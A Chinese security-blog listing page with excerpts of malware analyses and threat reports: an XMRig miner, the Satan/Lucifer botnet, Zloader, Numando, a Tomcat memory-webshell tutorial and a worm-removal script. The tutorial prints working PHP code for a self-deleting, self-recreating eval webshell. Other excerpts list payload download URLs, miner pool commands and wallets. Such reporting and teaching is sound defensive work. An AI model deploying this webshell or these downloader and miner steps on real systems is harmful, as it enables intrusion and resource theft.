而紧接着在完成与45.9.148.125 进行ssh连接建立的过程后,终于来到我们想看到的文件下载阶段。我们可以看到在接收的数据中有大段的IP地址,如下图所示。 后来,由发现在sub_409100函数中,该恶意程序随机选取下图中三个IP地址作为C2地址进行连接。    tsm64下载好这些文件后,打开文件p进行逐行读取,将里面的需要爆破的ip和端口读出。这里tsm64创建了五百多个线程去爆破目标。创建文件v进行读取,如果读出数据,则发送到远端服务器。由于v文件一直为空,这一步一直无法验证。但是,基于以上的分析,可以猜出,v文件存储的是爆破结果。四、清除方案对于处理该挖矿木马,提出以下清除方案:1. 通过crontab -e命令删除相关的四条定时任务。2. 杀死kswapd0进程,如果tsm32、tsm64进程也存在的话也杀死。3. 删除~/.configrc目录、/tmp/.X25-unix/.rsync目录、dota3.tar.gz文件,以及~/.ssh/authorized_keys文件。4. 更新ssh的账号密码,因为该木马就是通过爆破ssh账号进来的。五、特征总结黑客的门罗钱包地址:483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS矿工名:“x”C2地址:45.9.148.125、45.9.148.129、和45.9.148.117目标矿池地址:1. "url": "debian-package.center:80"2. "url": ":443"3. "url": ":80"4. "url": "45.9.148.129:80"5. "url": "45.9.148.129:443"6. "url": "45.9.148.117:80"7. "url": "45.9.148.117:443"8. "url": "45.9.148.58:80"9. "url": "45.9.148.58:443"10. "url": "45.9.148.59:80"11. "url": "45.9.148.59:443"end招新小广告ChaMd5 Venom 招收大佬入圈新成立组IOT+工控+样本分析+AI 长期招新欢迎联系[email protected] 本文始发于微信公众号(ChaMd5安全团队):Xmrig挖矿木马分析
阅读全文
防火墙捕获僵尸网络木马对云主机的攻击,作者自称“无所不能” 安全漏洞

防火墙捕获僵尸网络木马对云主机的攻击,作者自称“无所不能”

摘要本次攻击具备以下特点:1.攻击者通过Shiro1.2.4反序列化漏洞攻击云主机;2.Satan DDoS僵尸网络木马具备DDoS、挖矿、后门能力;3.作者自称支持可攻击多平台,木马支持多架构,可利用多个漏洞攻击传播,包括通过FTP、IPC、SMB、WMI、MSSQL、EternalBlue、Eternalromance、CVE-2017-8464、Thinkphp、HFS、phpstudy、Laravel、durpal、Shareddisk、sharedirectory…………等等多种漏洞利用方式攻击传播。相关能力已被国外安全厂商证实;4.挖矿时会清除竞品木马;5.具备tcp,udp,http,icmp,syn等多种流量攻击模式。一、概述腾讯安全威胁情报中心发现,有攻击者通过Shiro1.2.4反序列化漏洞对云主机发起攻击活动,意图植入名为Satan DDoS的僵尸网络木马程序。该僵尸网络木马此前主要攻击Windows系统,作者在恶意代码中自称“可攻击多平台,木马支持多架构,可利用多个漏洞攻击传播”。已安装腾讯云防火墙的云主机成功拦截此轮攻击,而未部署云防火墙系统的则可能失陷。分析其Linux版本的ELF格式x86-64指令集木马样本可知,Satan DDoS僵尸网络木马除进行DDoS攻击以外,还会同时下载执行XMR(门罗币)矿工。Satan DDoS僵尸网络木马同时具备文件执行、命令执行等系统后门能力。Satan DDoS僵尸网络木马去年5月被国外安全厂商关注,为与Satan勒索病毒区分,国外厂商将其命名为“Lucifer”木马,当时主要利用多个高危漏洞攻击Windows系统。从目前的发现看,该团伙已转向对云主机的进攻,其牟利方式为:控制目标主机组建僵尸网络,进行门罗币挖矿和DDoS攻击。清理&加固腾讯安全专家建议企业运维人员使用腾讯主机安全对云主机进行文件扫描,亦可排查以下条目,以检测清除威胁。进程:排查以下可疑进程:Linux*spreadMvwxya*文件:排查以下可疑文件:/tmp/linux*/tmp/spreadMvwxya*启动项:排查以下位置是否存在可疑启动项:/etc/rc.local/etc/crontab加固建议:腾讯安全专家建议企业运维人员升级shiro 组件到无漏洞版本(高于1.2.4)。二、样本分析腾讯云防火墙拦截到有攻击者利用shiro1.2.4反序列化漏洞攻击云上主机,传播Satan DDoS僵尸网络木马(载荷地址:hxxp://116.202.251.12/linux64)分析恶意载荷为ELF文件格式,基于x86-64指令集,分析其代码发现,该僵尸网络木马自称为“Satan DDos木马”,自称支持可攻击多平台,木马支持多架构,可利用多个漏洞攻击传播,包括通过FTP、IPC、SMB、WMI、MSSQL、EternalBlue、Eternalromance、CVE-2017-8464、Thinkphp、HFS、phpstudy、Laravel、durpal、Shareddisk、sharedirectory…………等等多种漏洞利用方式攻击传播。进一步分析可知Satan DDos木马通过设置/etc/rc.local、crontab两种方式实现持久化。Satan DDos僵尸网络用的一些关键配置信息经加密存储,对其进行解密后可知其中包含了一系列挖矿所需配置,配置相关信息如下:僵尸网络C2:116.202.251.12矿工使用配置信息:矿池&钱包:-o stratum+tcp://pool.supportxmr.com:5555 -u 44ygo7VfwEYdEbe1ruyZNLfrV19snk3REQpfb5LU9Yxf98z7Ws9EZPPbUgvozZyfYXCb3vsRJRT8wTGe3FipsLb93NaDULN -p X-o stratum+tcp://pool.supportxmr.com:5555 -a cn/r -u 44ygo7VfwEYdEbe1ruyZNLfrV19snk3REQpfb5LU9Yxf98z7Ws9EZPPbUgvozZyfYXCb3vsRJRT8wTGe3FipsLb93NaDULN -p X矿工保存路径:/tmp/spreadMvwxya矿工恶意载荷下载地址:hxxp://116.202.251.12/X64同时Satan DDoS僵尸网络会创建线程作为Miner的守护进程,当检测到矿工文件或进程不存在时,会重新下载、执行,以保护挖矿模块正常运转。同时也会创建线程结束一些疑似和自己同名,或疑似为挖矿相关的进程,以清除竞品挖矿木马,独占系统资源。作为DDoS木马,Satan 同时具备tcp,udp,http,icmp,syn等多种流量攻击模式,攻击方式丰富齐全。除DDoS攻击外,Satan僵尸网络木马同时具备一系列的后门指令相关功能,包括了下载执行、命令执行、矿工配置等操作功能。收包前4字节为指令控制码,无加密。涉及指令具体功能信息如下:控制码功能0x4开启DDoS攻击0x5停止DDoS攻击0x6下载执行0x7命令执行0x8矿工运行状态暂停C2更新0x9矿工运行状态开始C2更新0xA矿工配置(矿池 钱包)更新0xB开始挖矿0xC停止挖矿四、威胁视角看攻击行为ATT&CK阶段行为侦察扫描端口,确认可攻击目标存在的Shiro等服务资源开发注册C2服务器初始访问利用对外开放的Shiro服务,植入恶意命令执行恶意命令进而入侵系统执行利用漏洞植入恶意命令,随后下载植入Satan DDoS木马,XMR挖矿矿工持久化通过写/etc/rc.local和crontab实现持久化驻留防御规避通过僵尸进程作为Guarder,监控矿工Miner意外终止情况下对其下载再次拉起,保护顺利挖矿不中断。发现通过扫描目标开放Shiro服务确认后续漏洞攻击方式影响驻留的僵尸木马具备下载执行,命令执行等后门功能。将给服务器带来不可预料的各类型网络风险。门罗币矿机模块不间断的工作,会导致系统CPU负载过大,大量消耗主机CPU资源,严重影响主机正常服务运行,导致主机有系统崩溃风险。IOCsMD5:b8f0f26296f41a5a7995febbca90c5f12ef2a33995c299e3bb51a7f3f4cab010C2:116.202.251.12URL:hxxp://116.202.251.12/X64hxxp://116.202.251.12/linux64矿池&钱包pool.supportxmr.com44ygo7VfwEYdEbe1ruyZNLfrV19snk3REQpfb5LU9Yxf98z7Ws9EZPPbUgvozZyfYXCb3vsRJRT8wTGe3FipsLb93NaDULN参考链接:https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/https://digital.nhs.uk/cyber-alerts/2020/cc-3526精彩推荐 本文始发于微信公众号(FreeBuf):防火墙捕获僵尸网络木马对云主机的攻击,作者自称“无所不能”
阅读全文
新Zloader感染链改进隐身和检测逃避技术 安全闲碎

新Zloader感染链改进隐身和检测逃避技术

ZLoader——Zeus 银行木马的积极变种 ZLoader(又称 Terdot)于 2016 年被首次发现,是臭名昭著的 Zeus 银行木马的一个变种。目前,该恶意软件仍然在积极开发中,平均每周发布 1 到 2 个新版本。 ZLoader 是一种典型的银行木马,通过窃取 Cookie、密码和任何敏感信息来获利。它攻击世界各地金融机构的用户,还为勒索软件和其他恶意软件提供入口。其较新的版本实现了一个 VNC 模块,支持通过隐蔽信道远程访问失陷主机。ZLoader 主要依靠 DDE 和宏代码混淆技术来通过精心设计的文档投递最终 Payload。 最近发现感染链演化包括动态创建代理、从远程服务器下载的 Payload 等。与此同时,感染链通过禁用 Windows Defender 并依靠 LOLBAS 技术来逃避检测,从而实现更高级别的隐蔽性。 技术分析 恶意软件通过 Google Adwords 发布的 Google 广告下载的。 用户首先在 Goolge 检索中发现下载软件的网站,例如team viewer download 点击广告后会被重定向到攻击者控制下的虚假 TeamViewer 网站。 用户被诱骗下载带有数字签名的 MSI 格式的虚假恶意软件 用户点击广告会通过 aclk 页面重定向,攻击者使用 Google Adwords 获取流量: hxxps://www.google.com/aclk?sa=L&ai=DChcSEwiMusngi8_yAhVbbm8EHYpXDh0YABABGgJqZg&ae=2&sig=AOD64_05er1E772xSHdHTQn_3lAIdsmPxA&q&adurl&ved=2ahUKEwjV8cHgi8_yAhXPaM0KHTCBDeAQ0Qx6BAgCEAE&dct=1 在重定向后,用户会通过 hxxps://team-viewer.site/download/Team-Viewer.msi下载恶意文件 Team-Viewer.msi。 伪造的 TeamViewer 安装程序,签名时间是 2021-08-23 10:07:00,网络犯罪分子设法获取了加拿大一家软件公司 Flyintellect 的有效证书。当然,公司在 2021 年 6 月 29 日注册,攻击者也可能是为了获取证书而注册的公司。 通过证书可以发现使用相同证书的其他样本,攻击者不仅针对 TeamViewer 也针对其他发起攻击,例如 JavaPlug-in.mis、Zoom.mis和 discord.msi。 撰写本文时,并不能在 VirusTotal 中发现这几个样本。 绕过防御 .msi是第一阶段的 Dropper,在目录中创建随机合法文件 C:Program Files (x86)Sun Technology NetworkOracle Java SE。创建文件夹后,通过 cmd.exe /c setup.bat执行。 启动感染链的第二阶段,updatescript.bat将通过 Invoke-WebRequest 从 hxxps://websekir.com/g00glbat/index/processingSetRequestBat/?servername=msi下载后续恶意软件,接着执行第三阶段 cmd /c updatescript.bat。 第三阶段中,通过 Set-MpPreference...
阅读全文
对银行木马——Numando的分析 未分类

对银行木马——Numando的分析

Numando是一个专门针对拉丁美洲银行进行攻击的木马。根据追踪分析,这个恶意软件家族背后的研发者至少自 2018 年以来就一直活跃在一线。尽管它不像 Mekotio 或 Grandoreiro 那样活跃,但自从研究人员开始跟踪它以来,就一直在攻击位于拉丁美洲的银行,例如使用看似无用的 ZIP 文件或将有效载荷与钓鱼 BMP 图像捆绑在一起。从地理分布上看,它几乎只专注于巴西的攻击目标,很少在墨西哥和西班牙开展活动。Mekotio是一类拉丁美洲的银行木马,主要针对巴西、智利、墨西哥、西班牙、秘鲁和葡萄牙地区发动攻击。该恶意软件家族的最新变种具有一个显著的特点,就是使用SQL数据库作为C&C服务器。Grandoreiro也针对巴西、墨西哥、西班牙和秘鲁的受害者,自2017年以来,Grandoreiro一直活跃在巴西和秘鲁,并在2019年扩展到墨西哥和西班牙。Grandoreiro木马通常仅通过垃圾邮件的方式进行传播。 Numando木马功能分析 与所有其他针对拉丁美洲的银行木马一样,Numando 也是用 Delphi 编写的,并利用虚假的弹出窗口从受害者那里引诱敏感信息。一些 Numando 变体将这些图像存储在其 .rsrc 部分内的加密 ZIP 文件中,而其他变体则使用单独的 Delphi DLL 来存储这些图像。 后门功能允许 Numando 模拟鼠标和键盘操作、重启和关闭设备、显示覆盖窗口、截取屏幕截图和终止浏览器进程。然而,与其他拉丁美洲银行木马不同的是,这些命令被定义为数字而不是字符串,这个恶意软件的命名似乎对我们有所启发。 Numando 命令处理——命令 9321795 处理的一部分(红色) 字符串是由拉丁美洲银行木马中最常见的算法加密的,并且没有组织到字符串表中。Numando 收集受害设备的 Windows 版本和位数。 不过和之前介绍的大多数其他拉丁美洲银行木马不同,Numando 没有显示出持续发展和技术迭代的迹象。虽然不时会有一些细微的变化,但总体而言,二进制文件不会有太大变化。 传播和恶意执行进程 Numando 几乎完全是由垃圾邮件传播,根据研究人员的追踪分析,它的活动最多影响数百名受害者,这种攻击效率使其成功率远低于最流行的拉丁美洲银行木马,如 Mekotio 和 Grandoreiro。最近的活动只是向每封垃圾邮件添加一个包含 MSI 安装程序的 ZIP 附件。此安装程序包含一个 CAB 文件,其中包含一个合法的应用程序、一个注入程序和一个加密的 Numando 银行木马 DLL。如果潜在的受害者执行 MSI,它最终也会运行合法的应用程序,并加载注入程序。注入程序定位有效载荷,然后使用带有多字节密钥的简单 XOR 算法对其进行解密,如下图所示。 Numando MSI 及其在最新活动中传播的内容 对于Numando来说,有效载荷和注入程序的名称通常是相同的——带有 .dll 扩展名的注入程序和没有扩展名的有效载荷,这使得注入程序很容易找到加密的有效载荷。令人惊讶的是,注入程序不是用 Delphi 编写的,这在拉丁美洲银行木马中非常罕见。本文末尾的 IoC 包含我们观察到的 Numando 滥用的合法应用程序列表。 用于执行 Numando 的文件,合法应用程序 (Cooperativa.exe)、注入程序 (Oleacc.dll)、加密载荷 (Oleacc) 和合法 DLL 钓鱼 ZIP 和 BMP 覆盖 最近有一个有趣的传播链值得一提,该链以 Delphi 下载程序下载钓鱼 ZIP 文件开始。下载程序会忽略文件的内容并从 ZIP 文件注释中提取一个十六进制编码的加密字符串,这是一个存储在文件末尾的可选 ZIP 文件组件。下载程序不会解析 ZIP 结构,而是查找整个文件中的最后一个 { 字符用作标记。解密字符串会产生一个不同的 URL,该 URL 指向实际的有效载荷文件。 钓鱼是一个有效的 ZIP 文件(ZIP 结构以绿色突出显示),在文件末尾的 ZIP 文件注释中包含一个加密...
阅读全文
【技术干货】Tomcat Filter类型内存马与查杀技术学习 安全文章

【技术干货】Tomcat Filter类型内存马与查杀技术学习

。前言随着每年攻防对抗强度的增加,普通的木马在各大厂商的安全设备下,根本难以存活,想要落地一个实体木马的难度逐渐增大。逐步完善的过滤机制、前后端分离的趋势,使得传统的webshell生存空间越来越小。于是,随着时代的发展,内存马出现了。内存马就是一种无需落地文件就能使用的webshell,它将恶意代码写入内存,拦截固定参数来达到webshell的效果。发展过程如下:web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马php内存马刚开始学习的时候,只知道php内存马,想的都是内存马,php和java应该会有一些相似的特征,应该可以类比一下。php内存马常常作为AWD对抗赛的常用手段先通过一个简单的php型看一下内存马的基本实现思路<?php  ignore_user_abort(true); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。  set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长  unlink(__FILE__); //删除自身  $file = '.config.php';  $code = '<?php if(md5($_GET)=="1a1dc91c907325c69271ddf0c944bc72")  {@eval($_POST);} ?>';  while (1){  file_put_contents($file,$code); //创建shell.php  system('touch -m -d "2018-12-01 09:10:12" .config.php');  usleep(50); //间隔时间  }?>生成 .config.php 普通 ls 列不出来, 得 ls -a 才会列出==>隐藏文件删除自身文件,然后在某一个目录下循环生成你的webshell==>不死那我们可以梳理一下php内存马的流程:1. 将携带循环生成木马的命令脚本上传至目标服务器2. 删除文件本身3. 让其以隐藏文件的方式,死循环创建文件,并向文件中写入木马查杀php内存马1. 重启php服务器,(service apache2 restart)2. 强行kill 后台进程 ps aux | grep www-data | awk '{print $2}' | xargs kill -93. while循环写脚本 while : ;do rm -rf xxx; done4. 建立一个和不死马相同名字的文件或者目录,不断竞争写入一个和不死马同名的文件<?php  while (1) {  $pid = 不死马的进程PID;  @unlink(".ski12.php");  exec("kill -9 $pid");  usleep(20);}?>那我们根据php来类比一下java1. 内存马无文件落地,用户无法浏览到2. 文件不死,能够循环执行要实现这两点,需要结合java的特性来看,通常运行java的web容器是Tomcat,这里以Tomcat为例实现思路我们先来看一下客户端(浏览器)与服务器(Tomcat)交互的简化流程客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,我们只要在这个请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的shellcode,就可以达到我们的目的。一句话总结:对访问路径映射及相关处理代码的动态注册。我们要在上面这三个地方动手脚,于是按照作用的位置,我们有了•  listener 内存马•  filter内存马•  Servlet内存马这三个,统称为:servlet-api型。在特定框架里,如Spring/Struts2等框架,按照位置分类可以有•  interceptor型•  controller型 同时,针对不同的中间件还有不同的类型•  Tomcat的Pipeline&Valve•  Grizzly的FilterChain&Filter等等最后一种是字节码增强型内存马,Java Agent内存马。最终安全行业将分为以下几类•  动态注册servlet/filter/listener(使用 servlet-api 的具体实现)•  动态注册interceptor/controller(使用框架如 spring/struts2)•  动态注册使用职责链设计模式的中间件、框架的实现(例如 Tomcat的Pipeline&Valve,Grizzly的FilterChain&Filter等等)•  使用java agent技术写入字节码以Filter型内存马为例在进入正题之前,先说两个东西java特性--反射java的四大特性是,封装,继承,多态,反射,其中灵魂是反射。我们先看这张图,正常我们new一个对象的时候,逻辑过程是,把class文件加载到jvm中,之后才能产生class对象,但是我们利用反射机制的话,就能够直接在jvm中调用已经加载好的class文件,从而实现去new一个对象。简单的反射获取对象的方法有以下几种:类名.class,如:com.anbai.sec.classloader.TestHelloWorld.classClass.forName("com.anbai.sec.classloader.TestHelloWorld")classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld")常在连接数据库的时候这么用Class.forName("com.mysql.jdbc.Driver")①获取目标类型的Class对象②通过Class对象分别获取Constructor类对象、Method类对象 & Field 类对象③通过Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作Tomcat热加载上面说到,根据双亲委派机制,那么什么是双亲委派机制呢?但是Tomcat不适用于这种机制,他所使用的是:所以,在分析某些类的时候,要按照对应Tomcat里面去分析。流程分析filter也称之为过滤器,过滤器实际上就是对web资源进行拦截,做一些过滤,权限鉴别等处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源。如果我们动态创建一个filter并且将其放在最前面,我们的filter就会最先执行,当我们在filter中添加恶意代码,就会进行命令执行,这样也就成为了一个内存Webshell。Filter生命周期public void init(FilterConfig filterConfig) throws ServletException //初始化public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException; //拦截请求public void destroy(); //销毁Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载Filter对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。我们可以通过动态注册的方法去注册一个FIlterFilter类的介绍FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPatternFilterChain:过滤器链,该对象上的 doFilter...
阅读全文
驱动人生供应链攻击挖矿专杀工具 Demo版 安全博客

驱动人生供应链攻击挖矿专杀工具 Demo版

病毒描述: 360安全大脑监测到通过”驱动人生”供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新。此次更新中,木马在此前抓取系统帐户密码的基础上增加了抓取密码hash值的功能,并试图通过pass the hash攻击进行横向渗透,使得该木马的传播能力进一步加强,即使是有高强度口令的机器也有可能被攻陷。pass the hash也称作哈希传递攻击,攻击者可以直接通过密码的哈希值访问远程主机或服务,而不用提供明文密码。攻击者使用pass the hash技术尝试在系统登录密码非弱口令并且无法抓取登录密码的情况下进行横向攻击,增加攻击成功率。永恒之蓝下载器木马再次更新,此前攻击者针对驱动人生公司的供应链进行攻击,利用其软件升级通道下发永恒之蓝下载器木马,并利用其软件升级通道下发木马,在攻击模块中利用“永恒之蓝”漏洞攻击,造成短时间内大范围感染。事件发生之后,驱动人生公司对受到木马影响的升级通道进行了紧急关闭。 但该木马下载器的幕后控制者并没有就此放弃行动,而是借助其已经感染的机器进行持续攻击:包括通过云控指令下发挖矿模块,在中招机器安装多个服务以及通过添加计划任务获得持续执行的机会,后续版本在攻击模块新增SMB爆破、远程执行工具psexec攻击、利用Powershell版mimikatz获取密码,以增强其扩散传播能力。2019年2月10日发现的更新版本中,我们发现攻击者再次对攻击模块进行升级,改变其木马生成方式为Pyinstaller,同时在打包的Python代码中新增了email、cookie、ftp、http相关功能文件。木马通过将程序安装至系统服务、计划任务从而可以开机启动同时每隔一段时间重复启动,获得在感染电脑持续驻留的机会。 控制维持方式: 查杀脚本功能 删除恶意进程、服务、计划任务、注册表项、恶意文件 删除无规则随机字符串服务 支持最老版本样本,及最新样本 由于该攻击样本不停变形增肥md5值一直在便,故采用md5黑名单+恶意证书方式来清理 由于该系列病毒不断变种,本脚本不保证有效清除,仅作为技术交流使用 恶意证书:驱动人生病毒所涉及的签名证书: 12345CN="Shenzhen Smartspace Software technology Co.,Limited", OU=研发部, O="Shenzhen Smartspace Software technology Co.,Limited", L=Shenzhen, S=Guangdong, C=CNCN="Shenzhen Qitu Software Technolgy Co., Ltd.", OU=Digital ID Class 3 - Microsoft Software Validation v2, O="Shenzhen Qitu Software Technolgy Co., Ltd.", L=Shenzhen, S=Guangdong, C=CNCN=Shenzhen Le Zhuo Software Technologies Ltd., OU=Digital ID Class 3 - Microsoft Software Validation v2, O=Shenzhen Le Zhuo Software Technologies Ltd., L=Shenzhen, S=Guangdong, C=CN 根据证书判断恶意进程服务案例:http://wolvez.club/2019/02/12/threathunter-windows/ 域名ioc 防火墙配置阻止以下域名访问 12345678http://r.minicen.ga/rhttp://v.beahh.com/vhttp://139.162.107.97/new.dathttp://p.beahh.com/upgrade.phphttp://cert.beahh.comi.haqo.netdl.haqo.netabbny.com 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197Write-Host '# cowsay++' Write-Host ' _________________'Write-Host '< DriverLife Worm killer v0.2>' Write-Host ' -----------------------'Write-Host ' \ ,__,' -ForegroundColor RedWrite-Host...
阅读全文